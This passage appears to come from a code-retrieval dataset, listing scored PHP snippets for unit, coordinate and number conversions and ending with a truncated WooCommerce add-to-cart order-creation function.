"" }, { "docid": "c550bbab5683049aa61abba59db796d2", "score": "0.52032185", "text": "public function converte($dado){\t\t\t\n\t\tif ($dado != \"\"){\t\n\t\t\treturn number_format($dado, 2, \",\", \".\");\t\n\t\t} \n\t\telse {\t\n\t\t\treturn \"0,00\";\t\n\t\t}\t\n\t}", "title": "" }, { "docid": "5d5a549fe531d8cb85ff5b50e5627598", "score": "0.5192862", "text": "function conv2rads($GPS_coords)\n\t{\n\t\t// (radial, polar, azimuthal) = (Rho, Theta, Phi)\n\t\t// 0 <= Theta <= pi, 0 <= Phi < 2*pi\n\t\t$coords[0] = pi()/2 - ($GPS_coords[0]/90)*(pi()/2); // translated: 0 is at equator in GPS but at pole in spherical system.\n\t\t$coords[1] = pi() - ($GPS_coords[1]/180)*(pi()); // translated: long. runs from -180 to 180 while spherical goes from 0 to 2*pi.\n\t\t\n\t\treturn $coords;\n\t}", "title": "" }, { "docid": "debf91b24550465883457b7902cf2af4", "score": "0.5175892", "text": "public function dolaresEuros(){\n return $this->numero*0.81704019;\n }", "title": "" }, { "docid": "8f3cc3043aa6fe8650588efcc2c9105d", "score": "0.5169342", "text": "private static function calculateDMS($type, $gps) {\n if ($gps < 0 and $type == 'lat') {\n $hem = 'S';\n } elseif ($type == 'lat') {\n $hem = 'N';\n }\n\n if ($gps < 0 and $type == 'lng') {\n $hem = 'W';\n } elseif ($type == 'lng') {\n $hem = 'E';\n }\n\n $output = array();\n for ($x = 0; $x < 3; $x++) {\n if($x == 2) {\n array_push($output, $gps);\n } else {\n $vartmp = explode('.', $gps);\n array_push($output, $vartmp[0]);\n $gps = (\"0.\" . $vartmp[1]) *60;\n }\n }\n return ($output[0] . \"°\" . $output[1] . \"'\" . $output[2] . '\"' . $hem);\n }", "title": "" }, { "docid": "55648bee18896d483a40651ad9adb5b0", "score": "0.5166745", "text": "function px2mm( $px ){\n return $px*25.4/72;\n}", "title": "" }, { "docid": "e7872bb02b656155ebe908e2d5e42114", "score": "0.5151553", "text": "function convert($utm_x, $utm_y, $utmZone)\n {\n $LngOrigin = Deg2Rad($utmZone * 6 - 183);\n\n // The following set of class constants define characteristics of the\n // ellipsoid, as defined my the WGS84 datum. These values need to be\n // changed if a different dataum is used.\n\n $FalseNorth = 0; // South or North?\n //if (lat < 0.) FalseNorth = 10000000. // South or North?\n //else FalseNorth = 0.\n\n $Ecc = 0.081819190842622; // Eccentricity\n $EccSq = $Ecc * $Ecc;\n $Ecc2Sq = $EccSq / (1. - $EccSq);\n $Ecc2 = sqrt($Ecc2Sq); // Secondary eccentricity\n $E1 = (1 - sqrt(1 - $EccSq)) / (1 + sqrt(1 - $EccSq));\n $E12 = $E1 * $E1;\n $E13 = $E12 * $E1;\n $E14 = $E13 * $E1;\n\n $SemiMajor = 6378137.0; // Ellipsoidal semi-major axis (Meters)\n $FalseEast = 500000.0; // UTM East bias (Meters)\n $ScaleFactor = 0.9996; // Scale at natural origin\n\n // Calculate the Cassini projection parameters\n\n $M1 = ($utm_x - $FalseNorth) / $ScaleFactor;\n $Mu1 = $M1 / ($SemiMajor * (1 - $EccSq / 4.0 - 3.0 * $EccSq * $EccSq / 64.0 - 5.0 * $EccSq * $EccSq * $EccSq / 256.0));\n\n $Phi1 = $Mu1 + (3.0 * $E1 / 2.0 - 27.0 * $E13 / 32.0) * sin(2.0 * $Mu1);\n +(21.0 * $E12 / 16.0 - 55.0 * $E14 / 32.0) * sin(4.0 * $Mu1);\n +(151.0 * $E13 / 96.0) * sin(6.0 * $Mu1);\n +(1097.0 * $E14 / 512.0) * sin(8.0 * $Mu1);\n\n $sin2phi1 = sin($Phi1) * sin($Phi1);\n $Rho1 = ($SemiMajor * (1.0 - $EccSq)) / pow(1.0 - $EccSq * $sin2phi1, 1.5);\n $Nu1 = $SemiMajor / sqrt(1.0 - $EccSq * $sin2phi1);\n\n // Compute parameters as defined in the POSC specification. T, C and D\n\n $T1 = tan($Phi1) * tan($Phi1);\n $T12 = $T1 * $T1;\n $C1 = $Ecc2Sq * cos($Phi1) * cos($Phi1);\n $C12 = $C1 * $C1;\n $D = ($utm_y - $FalseEast) / ($ScaleFactor * $Nu1);\n $D2 = $D * $D;\n $D3 = $D2 * $D;\n $D4 = $D3 * $D;\n $D5 = $D4 * $D;\n $D6 = $D5 * $D;\n\n // Compute the Latitude and Longitude and convert to degrees\n $lat = $Phi1 - $Nu1 * tan($Phi1) / $Rho1 * ($D2 / 2.0 - (5.0 + 3.0 * $T1 + 10.0 * $C1 - 4.0 * $C12 - 9.0 * $Ecc2Sq) * $D4 / 24.0 + (61.0 + 90.0 * $T1 + 298.0 * $C1 + 45.0 * $T12 - 252.0 * $Ecc2Sq - 3.0 * $C12) * $D6 / 720.0);\n\n $lat = Rad2Deg($lat);\n\n $lon = $LngOrigin + ($D - (1.0 + (2.0 * $T1) + $C1) * $D3 / 6.0 + (5.0 - 2.0 * $C1 + 28.0 * $T1 - 3.0 * $C12 + 8.0 * $Ecc2Sq + 24.0 * $T12) * $D5 / 120.0) / cos($Phi1);\n\n $lon = Rad2Deg($lon);\n\n // Create a object to store the calculated Latitude and Longitude values\n $PC_LatLon['lat'] = $lat;\n $PC_LatLon['lon'] = $lon;\n\n // Returns a PC_LatLon object\n return $PC_LatLon;\n }", "title": "" }, { "docid": "edcca68fc4aad03219cab85ad6bd49ba", "score": "0.51496", "text": "function distance_to_longitude($distance_km){\n\t\t$km_per_degree = 111.321;\n\t\treturn $distance_km / $km_per_degree;\n\t}", "title": "" }, { "docid": "9560936d28522d38434228fbd3fc9b44", "score": "0.5149213", "text": "function DMStoDEC($ddmmss) {\n\tif (strlen($ddmmss) == 7) {\n\t\t$deg = substr($ddmmss,0,3);\n\t\t$min = substr($ddmmss,3,2);\n\t\t$sec = substr($ddmmss,5,2);\n\t}\n\telse {\n\t\t$deg = substr($ddmmss,0,2);\n\t\t$min = substr($ddmmss,2,2);\n\t\t$sec = substr($ddmmss,4,2);\n\t}\n return $deg+((($min*60)+($sec))/3600);\n}", "title": "" }, { "docid": "443b9a1ef46761ad6ec41ed2038b3862", "score": "0.51458323", "text": "function bytesToDollars($bytes) {\n $dollars = round($bytes / 1000000000 * 0.15, 4);\n return $dollars;\n}", "title": "" }, { "docid": "a4f26cf31080a1c0de4b846255997900", "score": "0.51438755", "text": "function px2mm($px)\n{\n return $px * 25.4 / 72;\n}", "title": "" }, { "docid": "18752823abc2b5f124c439f47211e86f", "score": "0.51072043", "text": "public function getDoubleValue() {}", "title": "" }, { "docid": "18752823abc2b5f124c439f47211e86f", "score": "0.51072043", "text": "public function getDoubleValue() {}", "title": "" }, { "docid": "4cf48ee4cb6663a1762f02bd14702b7c", "score": "0.5106064", "text": "protected function numeric_value() {\r\n $v = (string)($this->value());\r\n $result = 0;\r\n if (core_text::strpos($v, '.') === false) {\r\n if (core_text::strpos($v, 'x') !== false || core_text::strpos($v, 'X') !== false) {\r\n $result = hexdec($v);\r\n } else {\r\n if ($v != '0' && $v[0] == '0') {\r\n $result = octdec($v);\r\n } else {\r\n $result = floatval($v);\r\n }\r\n }\r\n } else {\r\n $result = floatval($v);\r\n }\r\n return $result;\r\n }", "title": "" }, { "docid": "081faf0bb7023d53108d0487c065319b", "score": "0.5099631", "text": "function px2mm($px){\n return $px*25.4/72;\n}", "title": "" }, { "docid": "dd53bc5c6c70502eccc6f80928c4c165", "score": "0.5084907", "text": "function px2mm($px) {\n return $px * 25.4 / 72;\n}", "title": "" }, { "docid": "dd53bc5c6c70502eccc6f80928c4c165", "score": "0.5084907", "text": "function px2mm($px) {\n return $px * 25.4 / 72;\n}", "title": "" }, { "docid": "f485e85fcf7fb5b976332984a706cae6", "score": "0.50703055", "text": "function number_point($value) {\n $myAngloSaxonianNumber = number_format($value, 2, '.', ','); // -> 5,678.90 \n return $myAngloSaxonianNumber;\n}", "title": "" }, { "docid": "627752afae5a9de71a31e22f63a5e655", "score": "0.50671506", "text": "public function toCoordinate() {\n try {\n $coordinateFactory = $this->getCoordinateFactory();\n return $coordinateFactory->createCoordinate($this->getLatitude(), $this->getLongitude());\n }\n catch (\\Exception $e) {\n return NULL;\n }\n\n }", "title": "" }, { "docid": "9d8a89d3268839dfb684be969cf88c81", "score": "0.50571454", "text": "function norm_coord($c){\n global $version;\n switch($version){\n case 2: if ($c > 250) return ($c - 501);\n if ($c < -250) return ($c + 501); break;\n case 3:\n if ($c > 400) return ($c - 801);\n if ($c < -400) return ($c + 801); break;\n }\n return $c;\n}", "title": "" }, { "docid": "5e203b2207afa2350b7258c0f9fce47a", "score": "0.50413513", "text": "public function toYxy(){\n return $this->toXYZ()->toYxy();\n }", "title": "" }, { "docid": "5e203b2207afa2350b7258c0f9fce47a", "score": "0.50413513", "text": "public function toYxy(){\n return $this->toXYZ()->toYxy();\n }", "title": "" }, { "docid": "5b9b0296c5a16ea0f1d47698ef3f83a1", "score": "0.50252587", "text": "public function toDecimal()\n {\n return (string)$this->amount;\n }", "title": "" }, { "docid": "30653ae8d2a2f4711bd69e238a3bd767", "score": "0.50025785", "text": "function formateFloat(array $donnees){\n\tforeach ($donnees as $key => $value) {\n\t \tif (is_numeric($value) && intval($value) == floatval($value)){\n\t \t\t$donnees[$key] = intval($value);\n\t \t}\n\t \tif (is_numeric($value)){\n\t \t\t$donnees[$key] = str_replace('.',',',$donnees[$key]);\n\t \t} \n\t}\n\treturn $donnees; \n}", "title": "" }, { "docid": "e0f89c54acf470f990a6fe0b0d6d3809", "score": "0.4977375", "text": "function DMStoDMM($deg,$min,$sec)\r\n{\r\n\t//return $deg+((($min*60)+($sec))/3600)\r\n\treturn $deg.($min+(($sec)/60));\r\n}", "title": "" }, { "docid": "a9b4a3c634c949abb8592dfbd61f7bdd", "score": "0.49716833", "text": "function\nats2phppre_double2int($x) { return intval($x); }", "title": "" }, { "docid": "2947d2ca4f0450dd8dd9720232fa082b", "score": "0.49671894", "text": "function pt2px($fs) {\n\tswitch ($fs) {\n\t\tcase '18pt': return '24px';\n\t\tcase '17pt': return '23px';\n\t\tcase '16pt': return '22px';\n\t\tcase '15pt': return '21px';\n\t\tcase '14pt': return '19px';\n\t\tcase '13pt': return '18px';\n\t\tcase '12pt': return '16px';\n\t\tcase '11pt': return '14px';\n\t\tcase '10pt': return '13px';\n\t\tcase '9pt': return '12px';\n\t\tcase '8pt': return '11px';\n\t\tcase '7pt': return '9px';\n\t\tdefault:\n\t\t\t$fsn = $fs + 0; // convert $fs to numeric\n\t\t\tif ($fsn > 18) return '24px';\n\t\t\tif ($fsn < 7) return '9px';\n\t}\n}", "title": "" }, { "docid": "db99c8d839c79a77ce4eb66d9f6aedbf", "score": "0.49604747", "text": "function convertir($unidad,$cantidad){\n \n #de peso\n $conversiones['qq']=100;#quintal 100kg\n $conversiones['ton']=1000;\n $conversiones['g']=0.001;\n $conversiones['kg']=1;\n $conversiones['oz']=0.03;\n $conversiones['lb']=0.45;\n #de volumen\n $conversiones['ml']=0.001;\n $conversiones['lt']=1;\n \n $resultado=$conversiones[$unidad]*floatval($cantidad);\n \n return $resultado; \n}", "title": "" }, { "docid": "58459a51ad3dc5ed4a02c32910db3c78", "score": "0.49517855", "text": "function conv_from_c($value) {\n $newtemp = (((9.0/5.0)*$value)+32);\n return $newtemp;\n}", "title": "" }, { "docid": "cd99938f0bf063d75194211642b5351c", "score": "0.49400547", "text": "function px2mm($px){\n\treturn $px*25.4/72;\n}", "title": "" }, { "docid": "88d1670a1502a727514cae3e849a9058", "score": "0.49383676", "text": "public function toXYZ(){\n return $this->toRGB()->toXYZ();\n }", "title": "" }, { "docid": "cc1c1d83658de68a6e8b68ecd599dfbe", "score": "0.49336174", "text": "private static function DMSParse($str){\n //format expected: 15.30°N, 45.88°W, etc\n $coords = [];\n $str = str_replace(html_entity_decode('&deg'), '_', $str);\n $str = str_replace(';', '', $str);\n $pos = strpos($str,'_');\n $geoDir = substr ($str, $pos + 1, 1);\n preg_match_all('/\\d+/', $str, $coords);\n\n return [\n 'coordinates' => $coords[0],\n 'geoDir' => $geoDir\n ];\n }", "title": "" }, { "docid": "9e3609e478872f887b9b3d39f50d9d2f", "score": "0.49115524", "text": "public function mlmSourceVat($asDecimal = true);", "title": "" }, { "docid": "2c29d78498c7b5b77f8a5f8aa934915b", "score": "0.48747152", "text": "function extract1($trkpt){\n\n $attrs = $trkpt ->attributes();\n\n $lat = (float)$attrs[\"lat\"];\n $lon = (float)$attrs[\"lon\"];\n\n $latInRad = pi() / 180 * $lat;\n\n $lonInRad= pi() / 180 * $lon;\n\n return array((float)$latInRad,(float)$lonInRad);\n\n}", "title": "" }, { "docid": "42c0424a6c39c49d5b8684edcfe8604c", "score": "0.48736715", "text": "function convertNum($x)\n{\n return number_format($x, 2, '.', ',');\n}", "title": "" }, { "docid": "98f7badd5deca124a414ff08cc125435", "score": "0.4869569", "text": "public function getDecimalValue(): string\n {\n return $this->decimalValue;\n }", "title": "" }, { "docid": "e82606402ba4cc1c336acb17f836ac5f", "score": "0.48520267", "text": "public function toXYZ(){\n $ref_X = 95.047;\n $ref_Y = 100.000;\n $ref_Z = 108.883;\n\n $var_Y = ($this->lightness + 16) / 116;\n $var_X = $this->a / 500 + $var_Y;\n $var_Z = $var_Y - $this->b / 200;\n\n if (pow($var_Y, 3) > 0.008856) {\n $var_Y = pow($var_Y, 3);\n } else {\n $var_Y = ($var_Y - 16 / 116) / 7.787;\n }\n if (pow($var_X, 3) > 0.008856) {\n $var_X = pow($var_X, 3);\n } else {\n $var_X = ($var_X - 16 / 116) / 7.787;\n }\n if (pow($var_Z, 3) > 0.008856) {\n $var_Z = pow($var_Z, 3);\n } else {\n $var_Z = ($var_Z - 16 / 116) / 7.787;\n }\n $position_x = $ref_X * $var_X;\n $position_y = $ref_Y * $var_Y;\n $position_z = $ref_Z * $var_Z;\n return new XYZ($position_x, $position_y, $position_z);\n }", "title": "" }, { "docid": "6e6f6f28d1a59c33bc3689b85670fcc0", "score": "0.48493645", "text": "public function getCoordinates ()\n {\n return $this->coordinates;\n }", "title": "" }, { "docid": "4c63f0c98d4840ebbccba76cc6ef8a1c", "score": "0.48314714", "text": "public function getLat() : float\n {\n return $this->lat;\n }", "title": "" }, { "docid": "c8033dbc04f7fa7d3c6327b546f9d664", "score": "0.48205596", "text": "public function getMaxLat(): float\n {\n return (float) $this->getAttributes()->max_lat;\n }", "title": "" }, { "docid": "23accfae93903f3b17146a28a6cdc490", "score": "0.48141447", "text": "function LatLonToMeters($lat, $lon)\n\t{\n\t\t$mx = $lon * $this->originShift / 180.0;\n\t\t$my = log( tan((90 + $lat) * M_PI / 360.0 )) / (M_PI / 180.0);\n\t\n\t\t$my *= $this->originShift / 180.0;\n\t\t\n\t\treturn array($mx, $my);\n\t}", "title": "" }, { "docid": "903f47196165cbcc7908bc6f0d1bff5d", "score": "0.48094204", "text": "public function getDecimalValue()\n {\n return $this->readOneof(3);\n }", "title": "" }, { "docid": "d88b1d40370ed5daa6c75eda907bed21", "score": "0.4787715", "text": "function deg2rad ($number) {}", "title": "" }, { "docid": "06a365c81c6655827eee2e4a8b76c877", "score": "0.478368", "text": "Function GetDecimalFieldValue($value)\r\n\t{\r\n\t\tif($this->support_decimal_scale)\r\n\t\t{\r\n\t\t\tif($this->decimal_scale<0)\r\n\t\t\t\t$this->GetTypeDeclaration(METABASE_ODBC_DECIMAL_TYPE,$this->decimal_places);\r\n\t\t\treturn(!strcmp($value,\"NULL\") ? \"NULL\" : ($this->decimal_scale<$this->decimal_places ? ($this->decimal_scale>0 ? sprintf(\"%.\".$this->decimal_scale.\"f\",doubleval($value)*$this->decimal_factor) : strval(round(doubleval($value)*$this->decimal_factor))) : strval($value)));\r\n\t\t} else {\r\n\t\t\treturn(!strcmp($value,\"NULL\") ? \"NULL\" : number_format(doubleval($value),$this->decimal_places,'.',''));\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "fcabc120ed603653fa0c2632bc0ff14b", "score": "0.47739843", "text": "public function getLatitude()\n {\n return (float) $this->getValue('location.lat');\n }", "title": "" }, { "docid": "30776931f81c56c705f661b72abcde2b", "score": "0.47694004", "text": "function convert_to_two_dec($val)\n\t{\n\t\t$val_arr = explode(\".\", $val);\n\t\tif($val_arr[1])\n\t\t{\n\t\t\t//$val= $val.\"00\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$val= $val.\".00\";\n\t\t}\n\t\treturn $val;\n\t}", "title": "" }, { "docid": "52bd2c43b9e7b9490f28856417c93583", "score": "0.4756285", "text": "function kmtomi($kilometers) {\n return $kilometers * 0.6214;\n}", "title": "" }, { "docid": "16a6b7aa9c18ec3b6ef2954a572166f8", "score": "0.47341216", "text": "public function getConversions()\n {\n return isset($this->conversions) ? $this->conversions : 0.0;\n }", "title": "" }, { "docid": "4f945c623f1ed8d7626126ec3c82cc4c", "score": "0.47284698", "text": "public function getDouble()\n {\n $pos = $this->position;\n $this->position += 8;\n return (int)implode('', unpack('g', substr($this->buff, $pos, 8)));\n }", "title": "" }, { "docid": "240f42d9d7f9e3702442eb9e689995d1", "score": "0.47145715", "text": "public function getCoordinates()\n {\n return $this->coordinates;\n }", "title": "" }, { "docid": "4d24a670c33f557e103b52119ca47322", "score": "0.47120792", "text": "function c_float($vlw, $op=FALSE)\r\n{\r\n\tif ($op)\r\n\t{\r\n\t\treturn number_format($vlw, 2, ',', '.');\r\n\t}\r\n\telse if (strstr($vlw, \",\"))\r\n\t{\r\n\t\t$vlw = str_replace('.', '', $vlw);\r\n\t\treturn str_replace(',','.', $vlw);\r\n\t}\r\n\telse if ($op && strstr($vlw, \".\"))\r\n\t{\r\n\t\treturn str_replace('.',',', $vlw);\r\n\t}\r\n\treturn $vlw;\r\n}", "title": "" }, { "docid": "4159d80c73e705406d6f546adc10d862", "score": "0.4695525", "text": "function metersToFeetInches($meters){\n\t\n\t$valInFeet = $meters*3.2808399;\n\t$valFeet = (int)$valInFeet;\n\t$valInches = round(($valInFeet-$valFeet)*12);\n\tif($valInches == 12){\n\t\t$valFeet = $valFeet + 1;\n\t\t$valInches = 0;\n\t}\n\treturn array(\n\t\t'feet'=>$valFeet,\n\t\t'inches'=>$valInches\n\t);\n}", "title": "" }, { "docid": "cc6c73806b438461e13165f1f2bccbc0", "score": "0.46953228", "text": "function distance_to_latitude($distance_km){\n\t\t$km_per_degree = 111;\n\t\treturn $latitude + ($distance_km / $km_per_degree);\n\t}", "title": "" }, { "docid": "83b7c12653dc6424316d61259e46eabc", "score": "0.46791616", "text": "public function getSignLat(): float {\n\t\treturn ($this->signLat);\n\t}", "title": "" }, { "docid": "1931faebe9a5d5ac9f8646ed31e7c88b", "score": "0.4669796", "text": "public function getPointsAccurate()\n {\n return $this->getProperty('points_accurate');\n }", "title": "" }, { "docid": "82dc71ebf60cd0165c3b27ad0b58ff6f", "score": "0.46622226", "text": "function rad2deg ($number) {}", "title": "" }, { "docid": "9c56803ff4a476e76e0989fd40d54c4d", "score": "0.46598223", "text": "function MetersToPixels($mx, $my, $zoom)\n\t{\n\t\t$res = $this->Resolution( $zoom );\n\t\t\n\t\t$px = ($mx + $this->originShift) / $res;\n\t\t$py = ($my + $this->originShift) / $res;\n\t\t\n\t\treturn array($px, $py);\n\t}", "title": "" }, { "docid": "f36c2bc17fe17680156eb43780c0ffe9", "score": "0.46584868", "text": "private function convertWind($value): float\n {\n return $value * 0.44704;\n }", "title": "" }, { "docid": "e8a8f892701397e351291c9de27717b1", "score": "0.46507937", "text": "function feet_to_meters($feet)\n{\n $meters = $feet*0.3048; // remove (int)$feet as we were truncating to 0 anything under 1 \n\treturn number_format($meters,1); // limit to one decimal place for plant list results page\n}", "title": "" }, { "docid": "e90d0f4a4096c1485f51e5d5530aec9d", "score": "0.46337435", "text": "public final function getDegrees() : int\n {\n\n return $this->properties[ 'degrees' ];\n\n }", "title": "" }, { "docid": "5f455ba403710ed9a7e3c59b10fa69c9", "score": "0.4632569", "text": "public function doubleValue() { return (double)$this->num; }", "title": "" }, { "docid": "e528a9a5125d9c0980b5c420faf8f404", "score": "0.4631854", "text": "function HijriToJD($m, $d, $y)\n \t{\n \treturn (integer)((11 * $y + 3) / 30) +\n \t\t354 * $y + 30 * $m -\n \t\t(integer)(($m - 1) / 2) + $d + 1948440 - 385;\n \t}", "title": "" }, { "docid": "2829901c0b9879aec5980f76309756d3", "score": "0.46302366", "text": "public function getCoordinate()\n {\n return new Coordinate(array(\n ($this->latitudeInterval[0] + $this->latitudeInterval[1]) / 2,\n ($this->longitudeInterval[0] + $this->longitudeInterval[1]) / 2\n ));\n }", "title": "" }, { "docid": "18b3d62995eb0959383154f73a7813f7", "score": "0.46254563", "text": "function setDecimalEsp($numero){\n\t\t$numero = str_replace(\".\", \",\", $numero);\n\t\treturn $numero;\n\t}", "title": "" }, { "docid": "49500ef70a612195cff1fbea4ce0e458", "score": "0.46239558", "text": "function cast_decimal_precision( $where, WP_Query $query ) {\r\n\t\tif ( ! $query->is_main_query() ) {\r\n\t\t\treturn $where;\r\n\t\t}\r\n\r\n\t\treturn str_replace( 'DECIMAL', 'DECIMAL(10,2)', $where );\r\n\t}", "title": "" }, { "docid": "6352ef449b8bcd3497e3bebf3db11628", "score": "0.4602592", "text": "public function getLongitude()\n {\n return (float) $this->getValue('location.lng');\n }", "title": "" }, { "docid": "6bc82ca9d39e0227bf6c83358dccb3bf", "score": "0.459224", "text": "public function getXCoordinate(): int;", "title": "" }, { "docid": "f6e633cf66ab3b7fd9c33a5e1af25ff5", "score": "0.45909977", "text": "function NumberConvertFromBDT($value){\n\t$value = preg_replace('/[\\৳,]/', '', $value); \n\t$value = floatval($value);\n\treturn $value;\n}", "title": "" }, { "docid": "9c70935fcc80543c80bade1dcfb17a17", "score": "0.45869234", "text": "public function getCoordinates(): array {\n $coordsString = $this->getAttribute('coords');\n $out = [];\n if ($coordsString !== null) {\n foreach (explode(',', $coordsString) as $coord) {\n $out[] = (int) $coord;\n }\n }\n return $out;\n }", "title": "" }, { "docid": "d76d8348e3ef25922d4d01b90cbe5d85", "score": "0.45843238", "text": "function compute_distance($from_lat, $from_lon, $to_lat, $to_lon, $units='KM')\n{\n $units = strtoupper(substr(trim($units),0,1));\n // ENSURE THAT ALL ARE FLOATING POINT VALUES\n $from_lat = floatval($from_lat);\n $from_lon = floatval($from_lon);\n $to_lat = floatval($to_lat);\n $to_lon = floatval($to_lon);\n\n // IF THE SAME POINT\n if ( ($from_lat == $to_lat) && ($from_lon == $to_lon) )\n {\n return 0.0;\n }\n\n // COMPUTE THE DISTANCE WITH THE HAVERSINE FORMULA\n $distance = acos( sin(deg2rad($from_lat))\n * sin(deg2rad($to_lat))\n + cos(deg2rad($from_lat))\n * cos(deg2rad($to_lat))\n * cos(deg2rad($from_lon - $to_lon)) );\n\n $distance = rad2deg($distance);\n\n // DISTANCE IN MILES AND KM - ADD OTHERS IF NEEDED\n $miles = (float) $distance * 69.0;\n $km = (float) $miles * 1.61;\n\n // RETURN MILES\n if ($units == 'M') return round($miles,1);\n\n // RETURN KILOMETERS = MILES * 1.61\n if ($units == 'K') return round($km,2);\n}", "title": "" }, { "docid": "9d976487d0f2b4ce55d6e922fe2c4542", "score": "0.45791787", "text": "public function providerDecimal()\n\t{\n\t\treturn array(\n\t\t\tarray('45.1664', 3, NULL, FALSE),\n\t\t\tarray('45.1664', 4, NULL, TRUE),\n\t\t\tarray('45.1664', 4, 2, TRUE),\n\t\t);\n\t}", "title": "" }, { "docid": "b378ce0997f3c6f04ebf1ae644ed7bbc", "score": "0.457812", "text": "public function getLongitude(): float {\n\t\treturn $this->longitude;\n\t}", "title": "" }, { "docid": "93c1bbf1a3a9032a5067fc26409d38b7", "score": "0.4577713", "text": "public function getVDouble()\n {\n return $this->get(self::V_DOUBLE);\n }", "title": "" }, { "docid": "b66380c6648bf0dccd84a164d6269b1f", "score": "0.45619977", "text": "function getGps($exifCoord, $hemi) \n{\n $degrees = count($exifCoord) > 0 ? gps2Num($exifCoord[0]) : 0;\n $minutes = count($exifCoord) > 1 ? gps2Num($exifCoord[1]) : 0;\n $seconds = count($exifCoord) > 2 ? gps2Num($exifCoord[2]) : 0;\n\n $flip = ($hemi == 'W' or $hemi == 'S') ? -1 : 1;\n\n return $flip * ($degrees + $minutes / 60 + $seconds / 3600);\n\n}", "title": "" }, { "docid": "3ef442e61c26258eae7e74ac9a609172", "score": "0.4552343", "text": "public function getCoordinates() : Point\n {\n return $this->coordinates;\n }", "title": "" }, { "docid": "61ef04e527f773878e8fdb0beafb8e3b", "score": "0.4551164", "text": "public function getPointsMonetaryValue()\n {\n return $this->pointsMonetaryValue;\n }", "title": "" } ]
5e95b5f4f63324f98f633396c75ce73f
AJAX : Add products to the cart. Creates an order, adds products to that order and sets correct total for that order. If payments are monthly or custom, it will schedule one time events (crons) to create those orders as well.
[ { "docid": "959f466a581d5c68228b5bcf0d7ce9cb", "score": "0.64909315", "text": "public function rc_ajax_add_to_cart() {\n\n // Get the data from ajax.\n $products = $_POST['products'];\n $payments = $_POST['payments'];\n $payment_method = $_POST['payment_method'];\n $user = $_POST['user'];\n\n // Check if user exists.\n $user_exists = email_exists( $user['email'] );\n if ( $user_exists ) {\n\n $user_id = $user_exists;\n\n } else {\n\n $user_password = wp_generate_password();\n $username = strstr( $user['email'], '@', true );\n\n $user_data = [\n 'user_login' => $username,\n 'user_pass' => $user_password,\n 'user_email' => $user['email'],\n 'first_name' => $user['first_name'],\n 'last_name' => $user['last_name']\n ];\n\n $user_id = wp_insert_user( $user_data );\n\n if ( is_wp_error( $user_id ) ) {\n\n $data['error'] = true;\n wp_send_json( $data );\n\n } else {\n\n if ( isset( $user['billing_country'] ) && ! empty( $user['billing_country'] ) ) {\n\n update_user_meta( $user_id, 'billing_country', $user['billing_country'] );\n\n }\n\n if ( isset( $user['billing_address'] ) && ! empty( $user['billing_address'] ) ) {\n\n update_user_meta( $user_id, 'billing_address_1', $user['billing_address'] );\n\n }\n\n if ( isset( $user['billing_city'] ) && ! empty( $user['billing_city'] ) ) {\n\n update_user_meta( $user_id, 'billing_city', $user['billing_city'] );\n\n }\n\n if ( isset( $user['billing_state'] ) && ! empty( $user['billing_state'] ) ) {\n\n update_user_meta( $user_id, 'billing_state', $user['billing_state'] );\n\n }\n\n if ( isset( $user['billing_postcode'] ) && ! empty( $user['billing_postcode'] ) ) {\n\n update_user_meta( $user_id, 'billing_postcode', $user['billing_postcode'] );\n\n }\n\n if ( isset( $user['billing_phone'] ) && ! empty( $user['billing_phone'] ) ) {\n\n update_user_meta( $user_id, 'billing_phone', $user['billing_phone'] );\n\n }\n\n // Shipping\n\n if ( isset( $user['shipping_country'] ) && ! empty( $user['shipping_country'] ) ) {\n\n update_user_meta( $user_id, 'shipping_country', $user['shipping_country'] );\n\n }\n\n if ( isset( $user['shipping_address'] ) && ! empty( $user['shipping_address'] ) ) {\n\n update_user_meta( $user_id, 'shipping_address_1', $user['shipping_address'] );\n\n }\n\n if ( isset( $user['shipping_city'] ) && ! empty( $user['shipping_city'] ) ) {\n\n update_user_meta( $user_id, 'shipping_city', $user['shipping_city'] );\n\n }\n\n if ( isset( $user['shipping_state'] ) && ! empty( $user['shipping_state'] ) ) {\n\n update_user_meta( $user_id, 'shipping_state', $user['shipping_state'] );\n\n }\n\n if ( isset( $user['shipping_postcode'] ) && ! empty( $user['shipping_postcode'] ) ) {\n\n update_user_meta( $user_id, 'shipping_postcode', $user['shipping_postcode'] );\n\n }\n\n if ( isset( $user['shipping_phone'] ) && ! empty( $user['shipping_phone'] ) ) {\n\n update_user_meta( $user_id, 'shipping_phone', $user['shipping_phone'] );\n\n }\n\n }\n\n }\n\n // Create new order.\n $order = new WC_Order();\n $order->set_customer_id( $user_id );\n\n if ( isset( $user['billing_country'] ) && ! empty( $user['billing_country'] ) ) {\n\n $order->set_billing_country( $user['billing_country'] );\n\n }\n\n if ( isset( $user['billing_address'] ) && ! empty( $user['billing_address'] ) ) {\n\n $order->set_billing_address_1( $user['billing_address'] );\n\n }\n\n if ( isset( $user['billing_city'] ) && ! empty( $user['billing_city'] ) ) {\n\n $order->set_billing_city( $user['billing_city'] );\n\n }\n\n if ( isset( $user['billing_state'] ) && ! empty( $user['billing_state'] ) ) {\n\n $order->set_billing_state( $user['billing_state'] );\n\n }\n\n if ( isset( $user['billing_postcode'] ) && ! empty( $user['billing_postcode'] ) ) {\n\n $order->set_billing_postcode( $user['billing_postcode'] );\n\n }\n\n if ( isset( $user['billing_phone'] ) && ! empty( $user['billing_phone'] ) ) {\n\n $order->set_billing_phone( $user['billing_phone'] );\n\n }\n\n // Shipping\n\n if ( isset( $user['shipping_country'] ) && ! empty( $user['shipping_country'] ) ) {\n\n $order->set_shipping_country( $user['shipping_country'] );\n\n }\n\n if ( isset( $user['shipping_address'] ) && ! empty( $user['shipping_address'] ) ) {\n\n $order->set_shipping_address_1( $user['shipping_address'] );\n\n }\n\n if ( isset( $user['shipping_city'] ) && ! empty( $user['shipping_city'] ) ) {\n\n $order->set_shipping_city( $user['shipping_city'] );\n\n }\n\n if ( isset( $user['shipping_state'] ) && ! empty( $user['shipping_state'] ) ) {\n\n $order->set_shipping_state( $user['shipping_state'] );\n\n }\n\n if ( isset( $user['shipping_postcode'] ) && ! empty( $user['shipping_postcode'] ) ) {\n\n $order->set_shipping_postcode( $user['shipping_postcode'] );\n\n }\n\n if ( isset( $user['shipping_phone'] ) && ! empty( $user['shipping_phone'] ) ) {\n\n $order->set_shipping_phone( $user['shipping_phone'] );\n\n }\n\n $count = 0;\n // Add products to the order.\n foreach ( $products as $product ) {\n\n // Fixes an issue with subtotal and total if multiple qty.\n if ( $product['qty'] > 1 ) {\n $product['price'] = $product['qty'] * $product['price'];\n }\n\n if ( isset( 